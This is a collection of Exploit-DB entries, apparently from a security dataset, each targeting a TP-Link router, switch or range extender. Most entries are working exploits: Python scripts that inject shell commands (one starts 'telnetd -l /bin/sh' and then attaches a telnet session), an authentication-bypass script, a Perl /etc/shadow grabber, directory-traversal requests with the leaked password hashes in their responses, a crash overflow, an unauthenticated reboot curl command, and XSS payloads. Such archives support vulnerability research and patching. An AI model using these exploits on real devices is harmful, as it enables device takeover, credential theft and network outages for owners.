deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44912
Description: TP-Link TL-WA850RE - Remote Command Execution
Type: webapps
Platform: hardware
Date: 2018-06-20
Author: yoresongo

Exploit:
#!/usr/bin/env python

# Exploit Title: TP-Link Technologies TL-WA850RE Wi-Fi Range Extender - Command Execution
# Date: 19/06/2018
# Exploit Author: yoresongo - Advisability S.A.S Colombia (www.advisability.co)
# Vendor Homepage: https://www.tp-link.com/
# Firmware Link: https://www.tp-link.com/en/download/TL-WA850RE.html 
# Tested on: Firmware Version TL-WA850RE_V5_180228
# Contact: yoresongo [at] advisability.co

import argparse
import requests
import hashlib
import telnetlib

parser = argparse.ArgumentParser(
    description="Exploits TP-LINK WA850RE Command injection"
)
parser.add_argument("host", help="Host to attack.", type=str)
parser.add_argument("password", help="Extender's Password", type=str)
parser.add_argument(
    "-C", "--cookie", help="Cookie id value.", type=str, default="1301a8c000c4c505"
)
args = parser.parse_args()

HOST = args.host
PASSWORD = args.password
COOKIE = args.cookie


cookies = {"gsScrollPos-8016": "0", "COOKIE": COOKIE}

headers = {
    "Origin": "http://%s/" % HOST,
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "en-US,en;q=0.9,es;q=0.8",
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "Referer": "http://%s/" % HOST,
    "X-Requested-With": "XMLHttpRequest",
    "Connection": "keep-alive",
    "DNT": "1",
}


[CREDENTIAL_REDACTED].md5(PASSWORD.encode("utf-8")).hexdigest().upper()
encoded = "%s:%s" % (password, COOKIE)
encoded = hashlib.md5(encoded.encode("utf-8")).hexdigest().upper()

data = [("operation", "login"), ("encoded", encoded), ("nonce", COOKIE)]

# Payload
data_inject = [
    ("operation", "write"),
    ("option", "connect"),
    ("wps_setup_pin", "11480723;telnetd -l /bin/sh"),
]


with requests.Session() as s:
    response = s.post(
        "http://%s/data/login.json" % HOST, headers=headers, cookies=cookies, data=data
    )
    print(response.text)

    # An authorised request.
    r = s.get("http://%s" % HOST, headers=headers, cookies=cookies)
    # print (r.text)
    r = s.post(
        "http://%s/data/wps.setup.json" % HOST,
        headers=headers,
        cookies=cookies,
        data=data_inject,
    )

tn = telnetlib.Telnet(HOST)
tn.interact()
Exploit-DB #49092
Description: TP-Link TL-WA855RE V5_200415 - Device Reset Auth Bypass
Type: webapps
Platform: hardware
Date: 2020-11-23
Author: malwrforensics

Exploit:
# Exploit Title: TP-Link TL-WA855RE V5_200415 - Device Reset Auth Bypass
# Date: 2020/07/29
# Exploit Author: malwrforensics
# Vendor Homepage: https://tp-link.com
# Software link: https://static.tp-link.com/2020/202004/20200430/TL-WA855RE_V5_200415.zip
# Version: TL-WA855RE(US)_V5_200415
# Tested on: N/A
# CVE : 2020-24363 
Important: The vendor has released a fix; the new firmware (TL-WA855RE(US)_V5_200731) is available to download from: https://www.tp-link.com/us/support/download/tl-wa855re/v5/#Firmware

Details
By default the web interface of the TL-WA855RE wireless extender require users to log in in order to access the admin interface. However, an attacker, on the same network, can bypass it and use the APIs provided to reset the device to its factory settings by using the TDDP_RESET code. An attacker can then set up a new admin password, resulting in a complete takeover of the device.
To test, you can send a POST request like the one below using the TDDP_RESET (5). The request doesn't need any type of authentication. You can then access the web interface and set a new administrative password.

POST /?code=5&asyn=0 HTTP/1.1
Host: <redacted>
Content-Length: 7
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: text/plain;charset=UTF-8
Origin: http://<redacted>
Referer: http://<redacted>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

0|1,0,0
Exploit-DB #47483
Description: TP-Link TL-WR1043ND 2 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2019-10-10
Author: Uriel Kosayev

Exploit:
# Exploit Title: TP-Link TL-WR1043ND 2 - Authentication Bypass
# Date: 2019-06-20
# Exploit Author: Uriel Kosayev
# Vendor Homepage: https://www.tp-link.com
# Version: TL-WR1043ND V2
# Tested on: TL-WR1043ND V2
# CVE : CVE-2019-6971
# CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2019-6971

import requests

ascii = '''
  __________        __    _       __  
 /_  __/ __ \      / /   (_)___  / /__
  / / / /_/ /_____/ /   / / __ \/ //_/
 / / / ____/_____/ /___/ / / / / ,<   
/_/ /_/         /_____/_/_/ /_/_/|_|  

'''
print(ascii)
Default_Gateway = raw_input("Enter your TP-Link router IP: ")

# Constants
url = 'http://'
url2 = '/userRpm/LoginRpm.htm?Save=Save'
full = url + Default_Gateway + url2
# full = str(full)

# The full GET request with the cookie authorization hijacked
req_header = {
    'Host': '{}'.format(Default_Gateway),
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://{}/userRpm/LoginRpm.htm?Save=Save'.format(Default_Gateway),
    'Connection': 'close',
    'Cookie': '''Authorization=Basic%20QWRtaW5pc3RyYXRvcjpjM2JiNTI5NjdiNjVjYWY4ZWRkMWNiYjg4ZDcwYzYxMQ%3D%3D''',
    'Upgrade-Insecure-Requests': '1'
}

try:
    response = requests.get(full, headers=req_header).content
except requests.exceptions.ConnectionError:
    print("Enter a valid Default Gateway IP address\nExiting...")
    exit()
generate = response.split('/')[3] # Gets the randomized URL "session ID"


option_1 = input("Press 1 to check if your TP-Link router is vulnerable: ")

if option_1 is 1:

    if generate in response:
        print('Vulnerable!\n')
        option_2 = input('Press 2 if you want to change the router\'s SSID or any other key to quit: ')
        if option_2 is 2:
            newssid = raw_input('New name: ')
            ssid_url = '/userRpm/WlanNetworkRpm.htm?ssid1={}&ssid2=TP-LINK_660A_2&ssid3=TP-LINK_660A_3&ssid4=TP-LINK_660A_4&region=43&band=0&mode=5&chanWidth=2&channel=1&rate=83&speedboost=2&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save'.format(
                newssid)
            changessid_full = url + Default_Gateway + '/' + generate + ssid_url
            requests.get(changessid_full, headers=req_header)
            print('Changed to: {}'.format(newssid))
        else:
            ("Please choose the correct option.\nExiting...")
            exit()
    else:
        print('Not Vulnerable')
        exit()
else:
    print("Please choose the correct option.\nExiting...")
    exit()
Exploit-DB #51606
Description: TP-Link TL-WR740N - Authenticated Directory Transversal
Type: webapps
Platform: hardware
Date: 2023-07-19
Author: Anish Feroz

Exploit:
# Exploit Title: TP-Link TL-WR740N - Authenticated Directory Transversal
# Date: 13/7/2023
# Exploit Author: Anish Feroz (Zeroxinn)
# Vendor Homepage: http://www.tp-link.com
# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
# Tested on: TP-Link TL-WR740N

---------------------------POC---------------------------

Request
-------

GET /help/../../../etc/shadow HTTP/1.1
Host: 192.168.0.1:8082
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response
--------

HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
WWW-Authenticate: Basic realm="TP-LINK Wireless Lite N Router WR740N"
Content-Type: text/html

<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<HTML>
<HEAD><TITLE>TL-WR740N</TITLE>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
<LINK href="/dynaform/css_help.css" rel=stylesheet type="text/css">
<SCRIPT language="javascript" type="text/javascript"><!--
if(window.parent == window){window.location.href="http://192.168.0.1";}
function Click(){ return false;}
document.oncontextmenu=Click;
function doPrev(){history.go(-1);}
//--></SCRIPT>
root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
bin::10933:0:99999:7:::
daemon::10933:0:99999:7:::
adm::10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody::10933:0:99999:7:::
ap71::10933:0:99999:7:::
Exploit-DB #51866
Description: TP-Link TL-WR740N - Buffer Overflow 'DOS'
Type: webapps
Platform: hardware
Date: 2024-03-10
Author: Anish Feroz

Exploit:
# Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'
# Date: 8/12/2023
# Exploit Author: Anish Feroz (ZEROXINN)
# Vendor Homepage: http://www.tp-link.com
# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
# Tested on: TP-Link TL-WR740N

#Description:

#There exist a buffer overflow vulnerability in TP-Link TL-WR740 router that can allow an attacker to crash the web server running on the router by sending a crafted request. To bring back the http (webserver), a user must physically reboot the router.

#Usage:

#python3 target username password
#change port, if required

------------------------------------------------POC-----------------------------------------

#!/usr/bin/python

import requests
from requests.auth import HTTPBasicAuth
import base64

def send_request(ip, username, password):
    auth_url = f"http://{ip}:8082"
    target_url = f"http://{ip}:8082/userRpm/PingIframeRpm.htm?ping_addr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20"

    credentials = f"{username}:{password}"
    encoded_credentials = base64.b64encode(credentials.encode()).decode()

    headers = {
        "Host": f"{ip}:8082",
        "Authorization": f"Basic {encoded_credentials}",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Referer": f"http://{ip}:8082/userRpm/DiagnosticRpm.htm",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "close"
    }

    session = requests.Session()
    
    response = session.get(target_url, headers=headers)

    if response.status_code == 200:
        print("Server Crashed")
        print(response.text)
    else:
        print(f"Script Completed with status code {response.status_code}")

ip_address = input("Enter IP address of the host: ")
username = input("Enter username: ")
password = input("Enter password: ")

send_request(ip_address, username, password)
Exploit-DB #43148
Description: TP-Link TL-WR740N - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2017-11-16
Author: bl00dy

Exploit:
# Exploit Title: XSS Vuln - TP-LINK TL-WR740N
# Date: 15/11/2017
# Exploit Author: bl00dy
# Vendor Homepage: http://www.tp-link.com <http://www.tp-link.com.br/>
# Version: TP-LINK TL-WR740N - 3.17.0 Build 140520 Rel.75075n
# Tested on: Windows 8.1

Cross-site scripting (XSS) in TP-LINK TL-WR740N

______________________________________________________

Proof of Concept:

1. Go to your wireless router ip (ex. 192.168.0.1)

2. Go to Wireless and -Wireless MAC Filtering- tab

3. Click Add new button

5.Write random MAC Address and in -Description- write (<h1>XSS by
bl00dy</h1>)

6.Click save and you will see XSS in Wireless MAC Filtering tab
______________________________________________________
Exploit-DB #51769
Description: TP-LINK TL-WR740N - Multiple HTML Injection
Type: webapps
Platform: hardware
Date: 2024-02-02
Author: Shujaat Amin (ZEROXINN)

Exploit:
# Exploit Title: TP-LINK TL-WR740N - Multiple HTML Injection Vulnerabilities
# Date: 25/9/2023
# Exploit Author: Shujaat Amin (ZEROXINN)
# Vendor Homepage: http://www.tp-link.com 
# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
# Tested on: Windows 10

---------------------------POC-----------------------------

1) Go to your routers IP (192.168.0.1)

2) Go to Access control --> Target,rule

3) Click on add new 

5) Type <h1>Hello<h1> in Target Description box

6) Click on Save, and now you can see html injection on the webpage
Exploit-DB #51768
Description: TP-Link TL-WR740N - UnAuthenticated Directory Transversal
Type: webapps
Platform: hardware
Date: 2024-02-02
Author: Syed Affan Ahmed (ZEROXINN)

Exploit:
# Exploit Title: TP-Link TL-WR740N UnAuthenticated Directory Transversal
# Date: 25/9/2023
# Exploit Author: Syed Affan Ahmed (ZEROXINN)
# Vendor Homepage: http://www.tp-link.com
# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
# Tested on: TP-Link TL-WR740N

---------------------------POC---------------------------

Request
-------

GET /help/../../../etc/shadow HTTP/1.1
Host: 192.168.0.1:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ipaddr=192.168.0.100; mLangage=ÂÃ©e; exception=4
Connection: close

Response
--------

HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
WWW-Authenticate: Basic realm="TP-LINK Wireless Lite N Router WR740N"
Content-Type: text/html

<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<HTML>
<HEAD><TITLE>TL-WR740N</TITLE>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
<LINK href="/dynaform/css_help.css" rel=stylesheet type="text/css">
<SCRIPT language="javascript" type="text/javascript"><!--
if(window.parent == window){window.location.href="http://192.168.0.1";}
function Click(){ return false;}
document.oncontextmenu=Click;
function doPrev(){history.go(-1);}
//--></SCRIPT>
root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
bin::10933:0:99999:7:::
daemon::10933:0:99999:7:::
adm::10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody::10933:0:99999:7:::
ap71::10933:0:99999:7:::
Exploit-DB #46882
Description: TP-LINK TL-WR840N v5 00000005 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2019-05-21
Author: purnendu ghosh

Exploit:
# Exploit Title: TL-WR840N v5 00000005

# Date: 5/10/2019

# Exploit Author: purnendu ghosh

# Vendor Homepage: https://www.tp-link.com/

# Software Link: https://www.amazon.in/TP-LINK-TL-WR840N-300Mbps-Wireless-External/dp/B01A0G1J7Q

# Category: Hardware

# Firmware Version:0.9.1 3.16 v0001.0 Build 171211 Rel.58800n

# Hardware Version:TL-WR840N v5 00000005

# Tested on: Windows 10

# CVE :CVE-2019-12195.

 
# Proof Of Concept:

TP-Link TL-WR840N v5 00000005 devices allow XSS via the network name. The attacker must
log into the router by breaking the password and going to the admin
login page by THC-HYDRA to get the network name. With an XSS payload,
the network name changed automatically and the internet connection was
disconnected. All the users become disconnected from
the internet.

------------------------------------------

[Additional Information]
To ensure your network to be safe from Renaming and internet disconnection.

------------------------------------------

[Vulnerability Type]
Cross Site Scripting (XSS)

------------------------------------------

[Vendor of Product]
tp-link

------------------------------------------

[Affected Product Code Base]
router - TL-WR840N v5 00000005

------------------------------------------

[Affected Component]
Wi-Fi network configured through the router

------------------------------------------

[Attack Type]
Remote

------------------------------------------

[Impact Denial of Service]
true

------------------------------------------

[Impact Information Disclosure]
true

------------------------------------------

[Attack Vectors]
Logged in to the router by breaking the password and goes to the admin
login page by THC-HYDRA and got the network name. Using Burp Suite
professional version 1.7.32 captured the network name and selected XSS
payload against the name and started attacking .as a result the
network name changed automatically and internet connection was
disconnected in the network. All the users become disconnected from
internet.

------------------------------------------

[Discoverer]
purnendu ghosh

[Reference]
https://www.tp-link.com/us/security
Exploit-DB #50058
Description: TP-Link TL-WR841N - Command Injection
Type: webapps
Platform: hardware
Date: 2021-06-24
Author: Koh You Liang

Exploit:
# Exploit Title: TP-Link TL-WR841N - Command Injection
# Date: 2020-12-13
# Exploit Author: Koh You Liang
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip
# Version: TL-WR841N 0.9.1 4.0
# Tested on: Windows 10
# CVE : CVE-2020-35576

import requests
import sys
import time

try:
    _ = sys.argv[2]
    payload = ' '.join(sys.argv[1:])
except IndexError:
    try:
        payload = sys.argv[1]
    except IndexError:
        print("[*] Command not specified, using the default `cat etc/passwd=`")
        payload = 'cat etc/passwd'

# Default credentials is admin:admin - replace with your own
cookies = {
    'Authorization': 'Basic YWRtaW46YWRtaW4='
}

headers = {
    'Host': '192.168.0.1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'text/plain',
    'Content-Length': '197',
    'Origin': 'http://192.168.0.1',
    'Connection': 'close',
    'Referer': 'http://192.168.0.1/mainFrame.htm',
}

data1 = \
'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=20\r\ntimeout=50\r\nnumberOfTries=1\r\nhost="`{}`"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''.format(payload)
response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)
print('[+] Sending payload...')

try:
    response1.text.splitlines()[0]
except IndexError:
    sys.exit('[-] Cannot get response. Please check your cookie.')
if response1.text.splitlines()[0] != '[error]0':
    sys.exit('[*] Router/Firmware is not vulnerable.')

data2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)
print('[+] Receiving response from router...')
time.sleep(0.8) # Buffer time for traceroute to succeed

data3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''
response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)

if '=:' in response3.text.splitlines()[3]:
    print('[-] Command not supported.')
else:
    print('[+] Exploit successful!')
    for line_number, line in enumerate(response3.text.splitlines()):
        try:
            if line_number == 3:
                print(line[12:])
            if line_number > 3 and line != '[error]0':
                print(line)
                if 'not known' in line:
                    break
        except IndexError:
            break
Exploit-DB #37982
Description: TP-Link TL-WR841N Router - Local File Inclusion
Type: webapps
Platform: hardware
Date: 2012-10-29
Author: Matan Azugi

Exploit:
source: https://www.securityfocus.com/bid/56320/info

TP-LINK TL-WR841N router is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the affected device. This may aid in further attacks.

TP-LINK TL-WR841N 3.13.9 Build 120201 Rel.54965n is vulnerable; other versions may also be affected. 

#TP-LINK TL-WR841N Shadow file grabber#

#built by Pulse matan () madsec co il#

#enjoy#

 

use LWP::UserAgent;

$host = $ARGV[0];

chomp($host);

if($host !~ /http:\/\//) { $host = "http://$host";; };

 

my $ua = LWP::UserAgent->new;

$ua->timeout(30);

$lfi = "/help/../../../../../../../../etc/shadow";

$url = $host.$lfi;

$request = HTTP::Request->new('GET', $url);

$response = $ua->request($request);

my $html = $response->content;          

if($html =~ /root/) {

print "root$' \n" ;

}
Exploit-DB #47958
Description: TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot
Type: webapps
Platform: hardware
Date: 2020-01-24
Author: PCEumel

Exploit:
# Exploit Title: TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot
# Date: 2020-01-20
# Exploit Author: PCEumel
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/us/support/download/tl-sg105e/#Firmware
# Version: TP-Link TP-SG105E V4
# Tested on: TP-SG105E V4 1.0.0 Build 20181120
# Patch from vendor : https://static.tp-link.com/2020/202001/20200120/TL-SG105Ev4.0_en_1.0.0_[20200119-rel.52079]_up.zip
# CVE : CVE-2019-16893

# TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot
# The TP-Link TP-SG105E is a "5-Port Gigabit Easy Smart Switch".
# It features a web front end and an application (Easy Smart Configuration Utility)
# for easy configuration management.

# The device does not properly restrict access to an internal API.
# It is therefore possible to remotely reboot the device by sending a HTTP POST
# request.

---

# POC :
curl -d "reboot_op=reboot" -X POST http://192.168.1.10/reboot.cgi

---

Timeline :
2019-09-16 | Vendor notified 
2019-09-25 | Reply (they will patch it)
2019-12-24 | First patch for testing
2019-12-19 | Confirmed the functionality of the patch
2020-01-14 | Public patch available
Exploit-DB #45970
Description: TP-Link wireless router Archer C1200 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-12-11
Author: Usman Saeed

Exploit:
[+] Unauthenticated

[+] Author: Usman Saeed (usman [at] xc0re.net)

[+] Affected Version: Firmware version: 1.13 Build 2018/01/24 rel.52299 EU

[·] Impact: Client side attacks are very common and are the source of maximum number of user compromises. With this attack, the threat actor can steal cookies, redirect an innocent victim to a malicious website, thus compromising the user.

[·] Reason: The remote webserver does not filter special characters or illegal input.

[+] Attack type: Remote

[+] Patch Status: Unpatched

[+] Exploitation:

[!] The Cross-site scripting vector can be executed, as illustrated below

http://hostname/webpages/data/_._.<img src=a onerror=alert(“Reflected-XSS”)>../..%2f